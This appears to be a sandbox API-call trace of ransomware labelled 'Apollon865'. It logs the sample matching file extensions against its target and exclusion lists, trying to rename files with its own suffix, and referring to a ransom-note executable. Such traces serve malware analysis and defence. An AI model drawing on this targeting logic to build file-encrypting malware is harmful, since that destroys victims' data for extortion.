	[0039.973] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0039.974] lstrlenW (lpString="ihx") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0039.974] lstrlenW (lpString="itdb") returned 4
	[0039.974] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0039.974] lstrlenW (lpString="itw") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0039.974] lstrlenW (lpString="jet") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0039.974] lstrlenW (lpString="jtx") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0039.974] lstrlenW (lpString="kdb") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0039.974] lstrlenW (lpString="kexi") returned 4
	[0039.974] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0039.974] lstrlenW (lpString="kexic") returned 5
	[0039.974] lstrcmpiW (lpString1="d.png", lpString2="kexic") returned -1
	[0039.974] lstrlenW (lpString="kexis") returned 5
	[0039.974] lstrcmpiW (lpString1="d.png", lpString2="kexis") returned -1
	[0039.974] lstrlenW (lpString="lgc") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0039.974] lstrlenW (lpString="lwx") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0039.974] lstrlenW (lpString="maf") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0039.974] lstrlenW (lpString="maq") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0039.974] lstrlenW (lpString="mar") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0039.974] lstrlenW (lpString="marshal") returned 7
	[0039.974] lstrcmpiW (lpString1="und.png", lpString2="marshal") returned 1
	[0039.974] lstrlenW (lpString="mas") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0039.974] lstrlenW (lpString="mav") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0039.974] lstrlenW (lpString="maw") returned 3
	[0039.974] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0039.974] lstrlenW (lpString="mdbhtml") returned 7
	[0039.975] lstrcmpiW (lpString1="und.png", lpString2="mdbhtml") returned 1
	[0039.975] lstrlenW (lpString="mdn") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0039.975] lstrlenW (lpString="mdt") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0039.975] lstrlenW (lpString="mfd") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0039.975] lstrlenW (lpString="mpd") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0039.975] lstrlenW (lpString="mrg") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0039.975] lstrlenW (lpString="mud") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0039.975] lstrlenW (lpString="mwb") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0039.975] lstrlenW (lpString="myd") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0039.975] lstrlenW (lpString="ndf") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0039.975] lstrlenW (lpString="nnt") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0039.975] lstrlenW (lpString="nrmlib") returned 6
	[0039.975] lstrcmpiW (lpString1="nd.png", lpString2="nrmlib") returned -1
	[0039.975] lstrlenW (lpString="ns2") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0039.975] lstrlenW (lpString="ns3") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0039.975] lstrlenW (lpString="ns4") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0039.975] lstrlenW (lpString="nsf") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0039.975] lstrlenW (lpString="nv") returned 2
	[0039.975] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0039.975] lstrlenW (lpString="nv2") returned 3
	[0039.975] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0039.975] lstrlenW (lpString="nwdb") returned 4
	[0039.975] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0039.975] lstrlenW (lpString="nyf") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0039.976] lstrlenW (lpString="odb") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0039.976] lstrlenW (lpString="odb") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0039.976] lstrlenW (lpString="oqy") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0039.976] lstrlenW (lpString="ora") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0039.976] lstrlenW (lpString="orx") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0039.976] lstrlenW (lpString="owc") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0039.976] lstrlenW (lpString="p96") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0039.976] lstrlenW (lpString="p97") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0039.976] lstrlenW (lpString="pan") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0039.976] lstrlenW (lpString="pdb") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0039.976] lstrlenW (lpString="pdm") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0039.976] lstrlenW (lpString="pnz") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0039.976] lstrlenW (lpString="qry") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0039.976] lstrlenW (lpString="qvd") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0039.976] lstrlenW (lpString="rbf") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0039.976] lstrlenW (lpString="rctd") returned 4
	[0039.976] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0039.976] lstrlenW (lpString="rod") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0039.976] lstrlenW (lpString="rodx") returned 4
	[0039.976] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0039.976] lstrlenW (lpString="rpd") returned 3
	[0039.976] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0039.977] lstrlenW (lpString="rsd") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0039.977] lstrlenW (lpString="sas7bdat") returned 8
	[0039.977] lstrcmpiW (lpString1="ound.png", lpString2="sas7bdat") returned -1
	[0039.977] lstrlenW (lpString="sbf") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0039.977] lstrlenW (lpString="scx") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0039.977] lstrlenW (lpString="sdb") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0039.977] lstrlenW (lpString="sdc") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0039.977] lstrlenW (lpString="sdf") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0039.977] lstrlenW (lpString="sis") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0039.977] lstrlenW (lpString="spq") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0039.977] lstrlenW (lpString="te") returned 2
	[0039.977] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0039.977] lstrlenW (lpString="teacher") returned 7
	[0039.977] lstrcmpiW (lpString1="und.png", lpString2="teacher") returned 1
	[0039.977] lstrlenW (lpString="tmd") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0039.977] lstrlenW (lpString="tps") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0039.977] lstrlenW (lpString="trc") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0039.977] lstrlenW (lpString="trc") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0039.977] lstrlenW (lpString="trm") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0039.977] lstrlenW (lpString="udb") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0039.977] lstrlenW (lpString="udl") returned 3
	[0039.977] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0039.977] lstrlenW (lpString="usr") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0039.978] lstrlenW (lpString="v12") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0039.978] lstrlenW (lpString="vis") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0039.978] lstrlenW (lpString="vpd") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0039.978] lstrlenW (lpString="vvv") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0039.978] lstrlenW (lpString="wdb") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0039.978] lstrlenW (lpString="wmdb") returned 4
	[0039.978] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0039.978] lstrlenW (lpString="wrk") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0039.978] lstrlenW (lpString="xdb") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0039.978] lstrlenW (lpString="xld") returned 3
	[0039.978] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0039.978] lstrlenW (lpString="xmlff") returned 5
	[0039.978] lstrcmpiW (lpString1="d.png", lpString2="xmlff") returned -1
	[0039.978] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="Apollon865.txt.exe") returned 1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="windows") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="bootmgr") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="temp") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="pagefile.sys") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="boot") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="ids.txt") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="ntuser.dat") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="perflogs") returned -1
	[0039.978] lstrcmpiW (lpString1="behavior.xml", lpString2="MSBuild") returned -1
	[0039.978] lstrlenW (lpString="behavior.xml") returned 12
	[0039.979] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 102
	[0039.979] lstrcpyW (in: lpString1=0x2d3e600, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0039.979] lstrlenW (lpString="behavior.xml") returned 12
	[0039.979] lstrlenW (lpString="Apollon865") returned 10
	[0039.979] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0039.979] lstrlenW (lpString=".dll") returned 4
	[0039.979] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0039.979] lstrlenW (lpString=".lnk") returned 4
	[0039.979] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0039.979] lstrlenW (lpString=".ini") returned 4
	[0039.979] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0039.979] lstrlenW (lpString=".sys") returned 4
	[0039.979] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0039.979] lstrlenW (lpString="behavior.xml") returned 12
	[0039.979] lstrlenW (lpString="bak") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0039.979] lstrlenW (lpString="ba_") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0039.979] lstrlenW (lpString="dbb") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0039.979] lstrlenW (lpString="vmdk") returned 4
	[0039.979] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0039.979] lstrlenW (lpString="rar") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0039.979] lstrlenW (lpString="zip") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0039.979] lstrlenW (lpString="tgz") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0039.979] lstrlenW (lpString="vbox") returned 4
	[0039.979] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0039.979] lstrlenW (lpString="vdi") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0039.979] lstrlenW (lpString="vhd") returned 3
	[0039.979] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0039.979] lstrlenW (lpString="vhdx") returned 4
	[0039.979] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0039.979] lstrlenW (lpString="avhd") returned 4
	[0039.979] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0039.980] lstrlenW (lpString="db") returned 2
	[0039.980] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0039.980] lstrlenW (lpString="db2") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0039.980] lstrlenW (lpString="db3") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0039.980] lstrlenW (lpString="dbf") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0039.980] lstrlenW (lpString="mdf") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0039.980] lstrlenW (lpString="mdb") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0039.980] lstrlenW (lpString="sql") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0039.980] lstrlenW (lpString="sqlite") returned 6
	[0039.980] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0039.980] lstrlenW (lpString="sqlite3") returned 7
	[0039.980] lstrcmpiW (lpString1="ior.xml", lpString2="sqlite3") returned -1
	[0039.980] lstrlenW (lpString="sqlitedb") returned 8
	[0039.980] lstrcmpiW (lpString1="vior.xml", lpString2="sqlitedb") returned 1
	[0039.980] lstrlenW (lpString="xml") returned 3
	[0039.980] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0039.980] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.Apollon865") returned 111
	[0039.980] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.983] GetLastError () returned 0x5
	[0039.983] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml MoveFileEx error 5\r\n") returned 129
	[0039.983] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml MoveFileEx error 5\r\n") returned 129
	[0039.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0039.984] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd27
	[0039.984] WriteFile (in: hFile=0x154, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x81, lpOverlapped=0x0) returned 1
	[0039.984] CloseHandle (hObject=0x154) returned 1
	[0039.985] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.985] CloseHandle (hObject=0x0) returned 0
	[0039.985] CloseHandle (hObject=0x0) returned 0
	[0039.985] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.985] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.985] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="Apollon865.txt.exe") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2=".") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="..") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="windows") returned -1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="bootmgr") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="temp") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="pagefile.sys") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="boot") returned 1
	[0039.985] lstrcmpiW (lpString1="watermark.png", lpString2="ids.txt") returned 1
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2="ntuser.dat") returned 1
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2="perflogs") returned 1
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2="MSBuild") returned 1
	[0039.986] lstrlenW (lpString="watermark.png") returned 13
	[0039.986] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 100
	[0039.986] lstrcpyW (in: lpString1=0x2d3e600, lpString2="watermark.png" | out: lpString1="watermark.png") returned="watermark.png"
	[0039.986] lstrlenW (lpString="watermark.png") returned 13
	[0039.986] lstrlenW (lpString="Apollon865") returned 10
	[0039.986] lstrcmpiW (lpString1="ermark.png", lpString2="Apollon865") returned 1
	[0039.986] lstrlenW (lpString=".dll") returned 4
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2=".dll") returned 1
	[0039.986] lstrlenW (lpString=".lnk") returned 4
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2=".lnk") returned 1
	[0039.986] lstrlenW (lpString=".ini") returned 4
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2=".ini") returned 1
	[0039.986] lstrlenW (lpString=".sys") returned 4
	[0039.986] lstrcmpiW (lpString1="watermark.png", lpString2=".sys") returned 1
	[0039.986] lstrlenW (lpString="watermark.png") returned 13
	[0039.986] lstrlenW (lpString="bak") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0039.986] lstrlenW (lpString="ba_") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0039.986] lstrlenW (lpString="dbb") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0039.986] lstrlenW (lpString="vmdk") returned 4
	[0039.986] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0039.986] lstrlenW (lpString="rar") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0039.986] lstrlenW (lpString="zip") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0039.986] lstrlenW (lpString="tgz") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0039.986] lstrlenW (lpString="vbox") returned 4
	[0039.986] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0039.986] lstrlenW (lpString="vdi") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0039.986] lstrlenW (lpString="vhd") returned 3
	[0039.986] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0039.987] lstrlenW (lpString="vhdx") returned 4
	[0039.987] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0039.987] lstrlenW (lpString="avhd") returned 4
	[0039.987] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0039.987] lstrlenW (lpString="db") returned 2
	[0039.987] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0039.987] lstrlenW (lpString="db2") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0039.987] lstrlenW (lpString="db3") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0039.987] lstrlenW (lpString="dbf") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0039.987] lstrlenW (lpString="mdf") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0039.987] lstrlenW (lpString="mdb") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0039.987] lstrlenW (lpString="sql") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0039.987] lstrlenW (lpString="sqlite") returned 6
	[0039.987] lstrcmpiW (lpString1="rk.png", lpString2="sqlite") returned -1
	[0039.987] lstrlenW (lpString="sqlite3") returned 7
	[0039.987] lstrcmpiW (lpString1="ark.png", lpString2="sqlite3") returned -1
	[0039.987] lstrlenW (lpString="sqlitedb") returned 8
	[0039.987] lstrcmpiW (lpString1="mark.png", lpString2="sqlitedb") returned -1
	[0039.987] lstrlenW (lpString="xml") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0039.987] lstrlenW (lpString="$er") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0039.987] lstrlenW (lpString="4dd") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0039.987] lstrlenW (lpString="4dl") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0039.987] lstrlenW (lpString="^^^") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0039.987] lstrlenW (lpString="abs") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0039.987] lstrlenW (lpString="abx") returned 3
	[0039.987] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0039.988] lstrlenW (lpString="accdb") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accdb") returned 1
	[0039.988] lstrlenW (lpString="accdc") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accdc") returned 1
	[0039.988] lstrlenW (lpString="accde") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accde") returned 1
	[0039.988] lstrlenW (lpString="accdr") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accdr") returned 1
	[0039.988] lstrlenW (lpString="accdt") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accdt") returned 1
	[0039.988] lstrlenW (lpString="accdw") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accdw") returned 1
	[0039.988] lstrlenW (lpString="accft") returned 5
	[0039.988] lstrcmpiW (lpString1="k.png", lpString2="accft") returned 1
	[0039.988] lstrlenW (lpString="adb") returned 3
	[0039.988] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0039.988] lstrlenW (lpString="adb") returned 3
	[0039.988] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0039.988] lstrlenW (lpString="ade") returned 3
	[0039.988] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0039.988] lstrlenW (lpString="adf") returned 3
	[0039.988] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0039.988] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0039.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0039.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0039.988] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87
	[0039.988] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
